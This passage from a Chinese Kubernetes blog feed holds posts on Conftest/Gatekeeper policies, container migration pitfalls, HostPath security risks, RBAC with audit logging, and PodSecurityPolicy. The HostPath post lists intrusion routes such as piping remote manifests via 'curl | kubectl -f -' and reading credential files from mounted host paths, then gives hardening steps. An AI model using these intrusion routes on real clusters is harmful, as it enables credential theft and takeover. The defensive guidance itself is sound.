&lt;/ul&gt;

&lt;p&gt;测试一下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ conftest test -p conftest-checks/check_labels.rego test-data/deployment.yaml
FAIL - test-data/deployment.yaml - you must provide labels: {&amp;quot;project&amp;quot;}
1 test, 0 passed, 0 warnings, 1 failure
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在 YAML 中加入要求的标签，才能通过测试。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: apps/v1
kind: Deployment
metadata:
  name: http-echo
  labels:
    app: http-echo
    project: test
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;前面提到，这样的不合规对象还是可以提交给集群的，因此还是需要 Gatekeeper 来在集群之中使用策略。&lt;/p&gt;

&lt;p&gt;首先创建一个 &lt;code&gt;ConstraintTemplate&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: templates.gatekeeper.sh/v1beta1
kind: ConstraintTemplate
metadata:
  name: k8srequiredlabels
spec:
  crd:
    spec:
      names:
        kind: K8sRequiredLabels
      validation:
        # Schema for the `parameters` field
        openAPIV3Schema:
          properties:
            labels:
              type: array
              items: string
  targets:
    - target: admission.k8s.gatekeeper.sh
      rego: |
        package k8srequiredlabels

        violation[{&amp;quot;msg&amp;quot;: msg, &amp;quot;details&amp;quot;: {&amp;quot;missing_labels&amp;quot;: missing}}] {
          provided := {label | input.review.object.metadata.labels[label]}
          required := {label | label := input.parameters.labels[_]}
          missing := required - provided
          count(missing) &amp;gt; 0
          msg := sprintf(&amp;quot;you must provide labels: %v&amp;quot;, [missing])
        }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上述代码演示了如何从输入中抓取参数。&lt;/p&gt;

&lt;p&gt;并且这里使用 &lt;code&gt;openAPIV3Schema&lt;/code&gt; 对输入进行过滤，这一节代码表示要求输入对象有一个参数 &lt;code&gt;label&lt;/code&gt;，其数据类型为字符串数组。所有输入都通过 &lt;code&gt;input.parameters&lt;/code&gt; 属性传递给 &lt;code&gt;constraint&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;模板提交以后，就可以据此创建 &lt;code&gt;Contstraint&lt;/code&gt; 了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sRequiredLabels
metadata:
  name: deployment-must-have-labels
spec:
  match:
    kinds:
      - apiGroups: [&amp;quot;apps&amp;quot;]
        kinds: [&amp;quot;Deployment&amp;quot;]
  parameters:
    labels: [&amp;quot;app&amp;quot;, &amp;quot;project&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个对象提交以后，集群中就有了校验镜像和校验标签的两个 &lt;code&gt;Constraint&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;再次创建前面的 Deployment：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl apply -f deployment.yaml
Error from server ([denied by deployment-must-have-labels] you must provide labels: {&amp;quot;project&amp;quot;}
[denied by valid-image-tag] image &#39;hashicorp/http-echo&#39; doesn&#39;t specify a valid tag
[denied by valid-image-tag] image &#39;hashicorp/http-echo:latest&#39; uses latest tag): error when creating
&amp;quot;deployment.yaml&amp;quot;: admission webhook &amp;quot;validation.gatekeeper.sh&amp;quot; denied the request:
[denied by deployment-must-have-labels] you must provide labels: {&amp;quot;project&amp;quot;}
[denied by valid-image-tag] image &#39;hashicorp/http-echo&#39; doesn&#39;t specify a valid tag
[denied by valid-image-tag] image &#39;hashicorp/http-echo:latest&#39; uses latest tag
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;意料之中的创建失败。只有修改 YAML，合规之后才能通过。&lt;/p&gt;

&lt;h2 id=&#34;总结&#34;&gt;总结&lt;/h2&gt;

&lt;p&gt;Conftest 和 Gatekeeper 都是用 Rego 语言定义策略的，这两个工具结合起来就能覆盖集群内外的校验要求了。&lt;/p&gt;

&lt;p&gt;正如你所见，Conftest 的 Rego 策略需要做点修改才能用在 Gatekeeper 里。&lt;a href=&#34;https://github.com/plexsystems/konstraint&#34; target=&#34;_blank&#34;&gt;Konstraint&lt;/a&gt; 项目可以解决这个问题。该工具能把 &lt;code&gt;Conftest&lt;/code&gt; 策略转换为 Gatekeeper 的 &lt;code&gt;ConstraintTemplate&lt;/code&gt; 和 &lt;code&gt;Constraint&lt;/code&gt;，并且它还能方便地对策略进行测试。&lt;/p&gt;

&lt;p&gt;除了本文的两个工具之外，集群内外的策略检查都还有别的选择。它们的主要优势就是使用了通用的 Rego 语言。例如 &lt;a href=&#34;https://github.com/FairwindsOps/polaris&#34; target=&#34;_blank&#34;&gt;Polaris&lt;/a&gt; 同时提供了集群内外的校验功能。然而它使用的是基于 JSON 的策略描述方法，其表达能力远弱于 Rego。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>容器化囧途——没上容器时好好的？</title>
      <link>/post/no-container-please/</link>
      <pubDate>Fri, 12 Jun 2020 03:08:20 +0800</pubDate>
      <guid>/post/no-container-please/</guid>
      <description>

&lt;p&gt;如果寿司店老板说，有一种人叫寿司人，寿司人的一切都是为了吃寿司，寿司人比别的人都厉害，你肯定会嗤之以鼻；云厂商提出了云原生概念，倒是拥趸甚多——这是因为云比寿司好吃多了，它提供的好处，足以让人铤而走险，削减脑袋挤上云计算的车，这也就是业务上云了。&lt;/p&gt;

&lt;p&gt;从参与《Kubernetes 权威指南》第二版到现在已经好几年了，在几年的容器化、云原生的推动过程中，因为一直从事企业服务的勾当，这个小视野里的绝大多数应用，都是证明可以成功容器化的。有一句很著名的程序员语录：“在我机器上是好的”，在推动应用上云的过程中，我听到的最多的噪音就是：没上容器时候是好的。&lt;/p&gt;

&lt;p&gt;”在我机器上是好的“的原因应该说是很清楚的——环境失控、或者应用没有适应能力。Kubernetes 和各种公有云都很成熟，就先不展开环境问题了，说说应用自身需要回答的几个很直白的问题。&lt;/p&gt;

&lt;h2 id=&#34;你的应用敢重启吗&#34;&gt;你的应用敢重启吗&lt;/h2&gt;

&lt;p&gt;容器本身是易失的，而在微服务设计中也强调了一点——面向故障的设计，不敢重启的应用，一定意义上就意味着该应用并无应对故障的准备。容器的重启和漂移，对这种应用来说，会有灾难性后果。&lt;/p&gt;

&lt;h2 id=&#34;你的应用依赖清晰么&#34;&gt;你的应用依赖清晰么&lt;/h2&gt;

&lt;p&gt;从面向对象到微服务，都不断地在强调，高内聚、低耦合、面向契约等等等等，这些名词都在倡导一种有清晰边界，有明确接触方式的应用实现方法。没有明确依赖关系的应用，连正常的割接、移机、扩展都会有巨大风险，更不要说从主机环境迁移到容器云上了。&lt;/p&gt;

&lt;h2 id=&#34;你了解应用的资源使用情况么&#34;&gt;你了解应用的资源使用情况么&lt;/h2&gt;

&lt;p&gt;很多计算资源宽裕的企业，对应用运行过程中的资源使用毫不在意，这种情况在上容器时会造成巨大的困扰——毕竟一般不会提供一个 64G 内存的容器。CPU、内存、IO、网络等需求，在容器化的过程中，都需要有个清楚的摸查。&lt;/p&gt;

&lt;h2 id=&#34;你的应用可观测么&#34;&gt;你的应用可观测么&lt;/h2&gt;

&lt;p&gt;完善的应用框架都会提供一系列的观测支持、包括调用跟踪、资源报表、日志输出、健康检查、服务监控等。不过也有不少应用并没有重视这方面的东西、或者错误使用。比如常见的把进程存活或者端口监听当做健康检查的标准、或者模糊不清的日志输出，这些观测性的缺憾，最终都会成为容器化的缺憾。&lt;/p&gt;

&lt;h2 id=&#34;你的应用的可用性需求明确么&#34;&gt;你的应用的可用性需求明确么&lt;/h2&gt;

&lt;p&gt;很多用户受到误导，以为上了云，会自动漂移的应用就能够 N 个 9 了，事实上容器平台或者公有云对应用高可用的支持也是有限度的，应用自身对高可用的需求、运行平台在高可用方面的支持应该有一个全面的了解，并据此相互配合达成可用性目标。&lt;/p&gt;

&lt;h2 id=&#34;也算结论&#34;&gt;也算结论&lt;/h2&gt;

&lt;p&gt;容器不是拦路虎，它是照妖镜，从 Dockerfile 到 YAML，再到 DevOps 和不可变环境，都对应用提出了更高的要求。赶不上容器末班车的原因可能是——你太慢了。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 中 HostPath 的风险和防范</title>
      <link>/post/hostpath-risk-and-harden/</link>
      <pubDate>Tue, 02 Jun 2020 23:48:48 +0800</pubDate>
      <guid>/post/hostpath-risk-and-harden/</guid>
      <description>

&lt;p&gt;Kubernetes 的安全问题，被提及比较多的一般包括几个点：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Docker &amp;amp; Kubernetes 参数加固&lt;/li&gt;
&lt;li&gt;RBAC&lt;/li&gt;
&lt;li&gt;Root 镜像&lt;/li&gt;
&lt;li&gt;特权容器&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;众所周知，很多安全问题是爆发在内部的，因此有了零信任的说法。内网能够比较容易地接触在成功接触集群之后，仅仅通过对 HostPath 的使用，就有机会对集群和运行其上的工作负载进行窥探，甚至进行写入操作。&lt;/p&gt;

&lt;p&gt;下面会分为三个部分，分别介绍可能接触集群的方法，入侵危害、以及建议的防范手段。&lt;/p&gt;

&lt;h2 id=&#34;接触集群&#34;&gt;接触集群&lt;/h2&gt;

&lt;p&gt;要入侵一个集群，通常需要用某种方式和集群进行接触，通常方式有几种：&lt;/p&gt;

&lt;h3 id=&#34;意外暴露无鉴权的明文端口&#34;&gt;意外暴露无鉴权的明文端口&lt;/h3&gt;

&lt;p&gt;部分集群管理员为了方便访问，或者其他历史遗留原因，选择使用无鉴权的 API Server，或者暴露 Kubelet 的只读端口。&lt;/p&gt;

&lt;h3 id=&#34;意外暴露-dashboard-类服务&#34;&gt;意外暴露 Dashboard 类服务&lt;/h3&gt;

&lt;p&gt;很多同学偏爱图形化的 Dashboard 服务，这类服务通常需要有较高的授权级别，可以运行较多的管理任务。&lt;/p&gt;

&lt;h3 id=&#34;安装恶意应用&#34;&gt;安装恶意应用&lt;/h3&gt;

&lt;p&gt;现在很多软件使用 &lt;code&gt;curl | kubectl -f -&lt;/code&gt; 的形式进行快速安装，对于有外网访问能力的 Kubernetes 集群来说，不加验证的运行未知应用，随时处于引狼入室的威胁之中。&lt;/p&gt;

&lt;p&gt;Kubeadm 安装后会缺省提供一个 &lt;code&gt;admin.conf&lt;/code&gt; 文件，其中包含了集群管理员身份的客户端证书，能够完全控制集群。&lt;/p&gt;

&lt;h3 id=&#34;公有云账号&#34;&gt;公有云账号&lt;/h3&gt;

&lt;p&gt;GKE、AKS 等集群环境，其 Kubernetes 账号是来自公有云的，因此公有云对容器集群具有全权处置的能力，其中也包含生成集群管理员的能力。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;建议严格管理公有云相关账号，根据使用责任对不同系统进行分离。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;入侵危害&#34;&gt;入侵危害&lt;/h2&gt;

&lt;h3 id=&#34;敏感文件&#34;&gt;敏感文件&lt;/h3&gt;

&lt;p&gt;Pod 中加载了敏感文件之后，可能通过 &lt;code&gt;cp&lt;/code&gt; 获取这些文件，甚至还可以尝试使用 &lt;code&gt;exec&lt;/code&gt; 进行写入工作。随便举几个例子：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/etc&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/root&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/var/lib&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这些位置的文件包含了身份证书、信任链、各种配置文件，被读取，破坏、甚至被篡改会发生什么呢？&lt;/p&gt;

&lt;h3 id=&#34;服务发现&#34;&gt;服务发现&lt;/h3&gt;

&lt;p&gt;以 Pod 为基础，能够访问集群内的各种服务，进一步扩散影响范围。&lt;/p&gt;

&lt;h2 id=&#34;防范&#34;&gt;防范&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;使用 PSP 或者 OPA/Kyverno 等策略工具，限制 &lt;code&gt;hostPath&lt;/code&gt; 的加载，必须加载的，也应该控制在指定目录。&lt;/li&gt;
&lt;li&gt;控制镜像来源，杜绝不明来源的镜像进入集群。&lt;/li&gt;
&lt;li&gt;启用审计策略。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/kubernetes/*&lt;/code&gt;、&lt;code&gt;~/.kube&lt;/code&gt; 设置权限为 600。&lt;/li&gt;
&lt;li&gt;管理员身份的 &lt;code&gt;kubeconfig&lt;/code&gt; 文件应该单独存放。如有可能，应该使用 OIDC 等第三方进行登录。&lt;/li&gt;
&lt;li&gt;使用 RBAC 为特定职责的用户开放最小权限，严格控制 &lt;code&gt;exec&lt;/code&gt; &lt;code&gt;attach&lt;/code&gt; &lt;code&gt;portforward&lt;/code&gt; 等权限。&lt;/li&gt;
&lt;li&gt;Kubelet、APIServer 的明文端口必须关闭。&lt;/li&gt;
&lt;li&gt;使用网络策略，防止未经明确放行的服务访问。&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 的授权和审计</title>
      <link>/post/rbac-psp-ops/</link>
      <pubDate>Sun, 24 May 2020 22:51:33 +0800</pubDate>
      <guid>/post/rbac-psp-ops/</guid>
      <description>

&lt;p&gt;Kubernetes 中的账号和认证，除了基础的双向证书认证之外，还有 OIDC 等方式的第三方集成能力，这里暂且不提。这里主要想谈谈授权和审计方面的内容。&lt;/p&gt;

&lt;p&gt;很多 Kubernetes 集群，都是一个 cluster-admin 走天下的，这和 Linux 里面只使用一个 root 账号一样，因此要完成授权和审计任务，首先需要创建的东西就是一个新用户。&lt;/p&gt;

&lt;p&gt;在使用本地证书进行用户管理的情况下，创建新用户通常有这样几种方法：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;创建一个新的 ServiceAccount，使用 SA 的 Token 进行认证。&lt;/li&gt;
&lt;li&gt;使用 Kubernetes 所使用的 CA，签发新的客户端证书。&lt;/li&gt;
&lt;li&gt;创建 CSR，提交到 Kubernetes 上，通过后，获取客户端证书。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;上面几个方法，完成后生成 kubeconfig 文件，并使用 RBAC &lt;strong&gt;为新用户进行最小化授权&lt;/strong&gt;，就可以用这些新用户的身份来完成“普通”用户的操作了。&lt;/p&gt;

&lt;h2 id=&#34;在-kubeadm-中启用审计&#34;&gt;在 Kubeadm 中启用审计&lt;/h2&gt;

&lt;p&gt;Kubeadm 的配置文件中加入如下内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiServer:
  extraArgs:
    audit-log-path: /var/log/k8s/audit.log
    audit-policy-file: /etc/kubernetes/audit.yaml
    audit-log-maxage: &amp;quot;1&amp;quot;
    audit-log-maxsize: &amp;quot;100&amp;quot;
    audit-log-maxbackup: &amp;quot;1&amp;quot;
  extraVolumes:
  - name: audit-config
    hostPath: /etc/k8s/audit.yaml
    mountPath: /etc/kubernetes/audit.yaml
    readOnly: true
    pathType: File
  - name: audit-log
    hostPath: /var/log/k8s
    mountPath: /var/log/k8s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个文件中指定了两个加载卷，分别用于存储配置文件和审计日志。API Server 会据此进行审计配置并输出日志。官方提供了审计策略的配置样例：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: audit.k8s.io/v1 # This is required.
kind: Policy
# Don&#39;t generate audit events for all requests in RequestReceived stage.
omitStages:
  - &amp;quot;RequestReceived&amp;quot;
rules:
  - level: None
    verbs: [&amp;quot;get&amp;quot;, &amp;quot;list&amp;quot;, &amp;quot;watch&amp;quot;]
  # Log pod changes at RequestResponse level
  - level: RequestResponse
    resources:
    - group: &amp;quot;&amp;quot;
      # Resource &amp;quot;pods&amp;quot; doesn&#39;t match requests to any subresource of pods,
      # which is consistent with the RBAC policy.
      resources: [&amp;quot;pods&amp;quot;]
  # Log &amp;quot;pods/log&amp;quot;, &amp;quot;pods/status&amp;quot; at Metadata level
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;有了 RBAC + 审计，结合专人专用的操作账户，我们就能够对用户在集群上的操作有个初步的了解，例如如下记录：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;...
  &amp;quot;requestURI&amp;quot;: &amp;quot;/apis/apps/v1/namespaces/default/deployments&amp;quot;,
  &amp;quot;verb&amp;quot;: &amp;quot;create&amp;quot;,
  &amp;quot;user&amp;quot;: {
    &amp;quot;username&amp;quot;: &amp;quot;commonuser&amp;quot;,
    &amp;quot;groups&amp;quot;: [
      &amp;quot;dev&amp;quot;,
      &amp;quot;system:authenticated&amp;quot;
    ]
  }
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;就代表用户 &lt;code&gt;commonuser&lt;/code&gt; 新建了一个 Deployment。审计信息中还包括了事件发生的时间、IP、当时的 RBAC 角色等。&lt;/p&gt;

&lt;p&gt;把审计日志汇总到 Elasticsearch 或者 Loki 之中，就能够获得集群范围内的所有我们关注的记录的操作了。&lt;/p&gt;

&lt;h2 id=&#34;为-kubeadm-集群启动-psp&#34;&gt;为 Kubeadm 集群启动 PSP&lt;/h2&gt;

&lt;p&gt;RBAC 决定一个用户能够操作什么资源（例如 Pod、Deployment、Service、SA 等），能够如何操作（例如创建、删除），而 PSP 则确定了 Pod 自身所能完成的任务：例如加载主机卷、使用 sysctl 等。&lt;/p&gt;

&lt;p&gt;启动 PSP 是个相对来说较危险的操作。首先要做的就是获取现在运行之中的应用所使用的策略，并将策略涉及的权限和当前使用的 ServiceAccount 对应起来，简单说来步骤如下：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;遍历运行中的 Pod，获取其中的特权情况，以及当前使用的 ServiceAccount。&lt;/li&gt;
&lt;li&gt;根据特权情况编写 &lt;code&gt;PodSecurityPolicy&lt;/code&gt; 策略。&lt;/li&gt;
&lt;li&gt;为策略设置 &lt;code&gt;Role&lt;/code&gt; 或者 &lt;code&gt;ClusterRole&lt;/code&gt;，绑定到 ServiceAccount。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Krew 有个 psp-advice 插件，能完成上面的前两个步骤——形成单一的 PSP 对象，相对来说有些粗放。例如使用这个插件在一个启动了 Calico 的 Kubeadm 集群上生成的 PSP（&lt;code&gt;kubectl advise-psp inspect&lt;/code&gt;）：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
  creationTimestamp: null
spec:
  allowedHostPaths:
  - pathPrefix: /lib/modules
    readOnly: true
  - pathPrefix: /var/lib/calico
    readOnly: true
  - pathPrefix: /opt/cni/bin
    readOnly: true
  - pathPrefix: /var/run/nodeagent
    readOnly: true
  - pathPrefix: /var/lib/cni/networks
    readOnly: true
  - pathPrefix: /usr/libexec/kubernetes/kubelet-plugins/volume/exec/nodeagent~uds
    readOnly: true
  - pathPrefix: /run/xtables.lock
    readOnly: true
  - pathPrefix: /etc/cni/net.d
    readOnly: true
  - pathPrefix: /var/run/calico
    readOnly: true
  fsGroup:
    rule: RunAsAny
  hostNetwork: true
  hostPorts:
  hostPorts:
  - max: 0
    min: 0
  privileged: true
  runAsUser:
    rule: RunAsAny
  seLinux:
    rule: RunAsAny
  supplementalGroups:
    rule: RunAsAny
  volumes:
  - hostPath
  - secret
  - configMap
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;我们可以简单的为这个 PSP 生成一个 Role，并绑定到当前运行的 SA 上：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: kube-system-psp
  namespace: kube-system
rules:
- apiGroups:
  - extensions
  resourceNames:
  - kube-system
  resources:
  - podsecuritypolicies
  verbs:
  - use
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: kube-system-psp
  namespace: kube-system
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: kube-system-psp
subjects:
- kind: ServiceAccount
  name: default
  namespace: kube-system
- kind: ServiceAccount
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;完成所有步骤之后，在 API Server 的 &lt;code&gt;--enable-admission-plugins&lt;/code&gt; 参数里面加入 &lt;code&gt;PodSecurityPolicy&lt;/code&gt;，重新启动服务即可。&lt;/p&gt;

&lt;p&gt;接下来就可以使用 PSP 为各个不同的 SA、用户创建角色，确定各种情况下创建 Pod 的安全策略，例如绝大多数业务 Pod 是无需使用特权模式、HostNetwork 的。&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;各司其职是个基础，在 RBAC/PSP 支持下，能够比较容易的针对用户、ServiceAccount、Namespace 进行细粒度的权限控制，例如对各种资源的操作权限、对 Pod 的日志、Exec 等操作、以及 Pod 自身的卷加载、特权申请等都可以进行控制，并且还可以通过审计功能进行事后追溯。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 中的 Pod 安全策略</title>
      <link>/post/psp-in-kubernetes/</link>
      <pubDate>Sun, 03 May 2020 10:29:06 +0800</pubDate>
      <guid>/post/psp-in-kubernetes/</guid>
      <description>

&lt;p&gt;很多人分不清 &lt;code&gt;SecurityContext&lt;/code&gt; 和 &lt;code&gt;PodSecurityPolicy&lt;/code&gt; 这两个关键字的差别，其实很简单：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;SecurityContext 是 Pod 中的一个字段，而 PSP 是一个独立的资源类型。&lt;/li&gt;
&lt;li&gt;SecurityContext 是 Pod 自身对安全上下文的声明；而 PSP 则是强制实施的——不合规矩的 Pod 无法创建。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;PSP 的用法和 RBAC 是紧密相关的，换句话说，应用 PSP 的基础要求是：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;不同运维人员的操作账号需要互相隔离并进行单独授权。&lt;/li&gt;
&lt;li&gt;不同命名空间，不同 ServiceAccount 也同样要纳入管理流程。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;PSP 环境下，运维人员或者新应用要接入集群，除了 RBAC 设置之外，还需要声明其工作范围所需的安全策略，并进行绑定，才能完成工作。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://kubernetes.io/docs/concepts/policy/pod-security-policy/&#34; target=&#34;_blank&#34;&gt;PSP 的官方文档&lt;/a&gt;中提到，PSP 是通过 &lt;a href=&#34;https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#podsecuritypolicy&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;Admission Controller&lt;/code&gt;&lt;/a&gt; 启用的，并且注明了：启用 PSP 是一个有风险的工作，未经合理授权，可能导致 Pod 无法创建。&lt;/p&gt;

&lt;p&gt;开始之前，首先设置一个别名，在 &lt;code&gt;default&lt;/code&gt; 命名空间新建 ServiceAccount 来模拟一个有权创建 Pod 的用户：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;$ kubectl create sa common
serviceaccount/common created

$ kubectl create rolebinding common --clusterrole=edit --serviceaccount=default:common
rolebinding.rbac.authorization.k8s.io/common created

$ alias kube-common=&#39;kubectl --as=system:serviceaccount:default:common&#39;
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;第一个-psp&#34;&gt;第一个 PSP&lt;/h2&gt;

&lt;p&gt;我们首先创建一个不允许创建特权 Pod 的策略：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
  name: noprivileged
spec:
  privileged: false
  seLinux:
    rule: RunAsAny
  supplementalGroups:
    rule: RunAsAny
  runAsUser:
    rule: RunAsAny
  fsGroup:
    rule: RunAsAny
  volumes:
  - &#39;*&#39;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;保存为 &lt;code&gt;psp.noprivileged.yaml&lt;/code&gt; 并提交给集群。&lt;/p&gt;

&lt;p&gt;接下来创建两个 Pod：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Pod
metadata:
  name: noprivileged
spec:
  containers:
  - name: pause
    image: k8s.gcr.io/pause
---
apiVersion: v1
kind: Pod
metadata:
  name: privileged
spec:
  containers:
  - name: pause
    image: k8s.gcr.io/pause
    securityContext:
      privileged: true
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;用普通用户创建这个 Pod：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kube-common apply -f pod.yaml &amp;amp;&amp;amp; kube-common delete -f pod.yaml
pod/noprivileged created
pod/privileged created
pod &amp;quot;noprivileged&amp;quot; deleted
pod &amp;quot;privileged&amp;quot; deleted
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，在不允许创建特权容器的规则之中，我们的用户还是能够创建特权容器，这是因为还没启用 PSP，接下来在集群设置中启动 PSP，各种环境的启用方式不同，例如在 GKE 环境：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ gcloud beta container clusters update gcp-k8s --enable-pod-security-policy --zone=asia-east1-a
Updating gcp-vlab-k8s...done.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;删除重建 Pod：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kube-common apply -f pod.yaml &amp;amp;&amp;amp; kube-common delete -f pod.yaml
Error from server (Forbidden): error when creating &amp;quot;pod.yaml&amp;quot;: pods &amp;quot;noprivileged&amp;quot; is forbidden: unable to validate against any pod security policy: []
Error from server (Forbidden): error when creating &amp;quot;pod.yaml&amp;quot;: pods &amp;quot;privileged&amp;quot; is forbidden: unable to validate against any pod security policy: []
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，Pod 的新建请求被拒绝了——&lt;strong&gt;然而使用集群管理员身份还是能成功创建的&lt;/strong&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl apply -f pod.yaml &amp;amp;&amp;amp; kubectl delete -f pod.yaml
pod/noprivileged created
pod/privileged created
pod &amp;quot;noprivileged&amp;quot; deleted
pod &amp;quot;privileged&amp;quot; deleted
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;全员 admin 是万恶之源。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;用 RBAC 进行授权：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl create role psp:noprivileged \
    --verb=use \
    --resource=podsecuritypolicy \
    --resource-name=noprivileged
role.rbac.authorization.k8s.io/psp:noprivileged created

$ kubectl create rolebinding common:psp:noprivileged \
    --role=psp:noprivileged \
    --serviceaccount=default:common
rolebinding.rbac.authorization.k8s.io/common:psp:noprivileged created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;再试试普通用户的能力：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kube-common apply -f pod.yaml ; kube-common delete -f pod.yaml
pod/noprivileged created
Error from server (Forbidden): error when creating &amp;quot;pod.yaml&amp;quot;: pods &amp;quot;privileged&amp;quot; is forbidden: unable to validate against any pod security policy: [spec.containers[0].securityContext.privileged: Invalid value: true: Privileged containers are not allowed]
pod &amp;quot;noprivileged&amp;quot; deleted
Error from server (NotFound): error when deleting &amp;quot;pod.yaml&amp;quot;: pods &amp;quot;privileged&amp;quot; not found
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;非特权 Pod 才能够成功创建，这符合我们的预期。&lt;/p&gt;

&lt;h2 id=&#34;副作用&#34;&gt;副作用&lt;/h2&gt;

&lt;p&gt;Pod 成功创建了之后，顺理成章，做个 Deployment 看看：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: Deployment
metadata:
  name: privileged
spec:
  replicas: 1  
  template:
    metadata:
      labels:
        app: pause
        version: v1
    spec:
      containers:
      - name: sleep
        image: k8s.gcr.io/pause
        securityContext:
          privileged: true
---
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: noprivileged
spec:
  replicas: 1
  template:
    serviceAccount: common
    metadata:
      labels:
        app: pause
        version: v1
    spec:
      containers:
      - name: sleep
        image: k8s.gcr.io/pause
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;我们会发现，Deployment 无法正常工作：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get pods
kuNo resources found in default namespace.
$ kubectl get deployment
NAME           READY   UP-TO-DATE   AVAILABLE   AGE
noprivileged   0/1     0            0           15m
privileged     0/1     0            0           15m
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;查看一下事件：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get events | grep policy
8m38s       Warning   FailedCreate        replicaset/noprivileged-6f94f9c9b8                 Error creating: pods &amp;quot;noprivileged-6f94f9c9b8-&amp;quot; is forbidden: unable to validate against any pod security policy: []
8m38s       Warning   FailedCreate        replicaset/privileged-6d78d5458                    Error creating: pods &amp;quot;privileged-6d78d5458-&amp;quot; is forbidden: unable to validate against any pod security policy: []
&lt;/code&gt;&lt;/pre&gt;

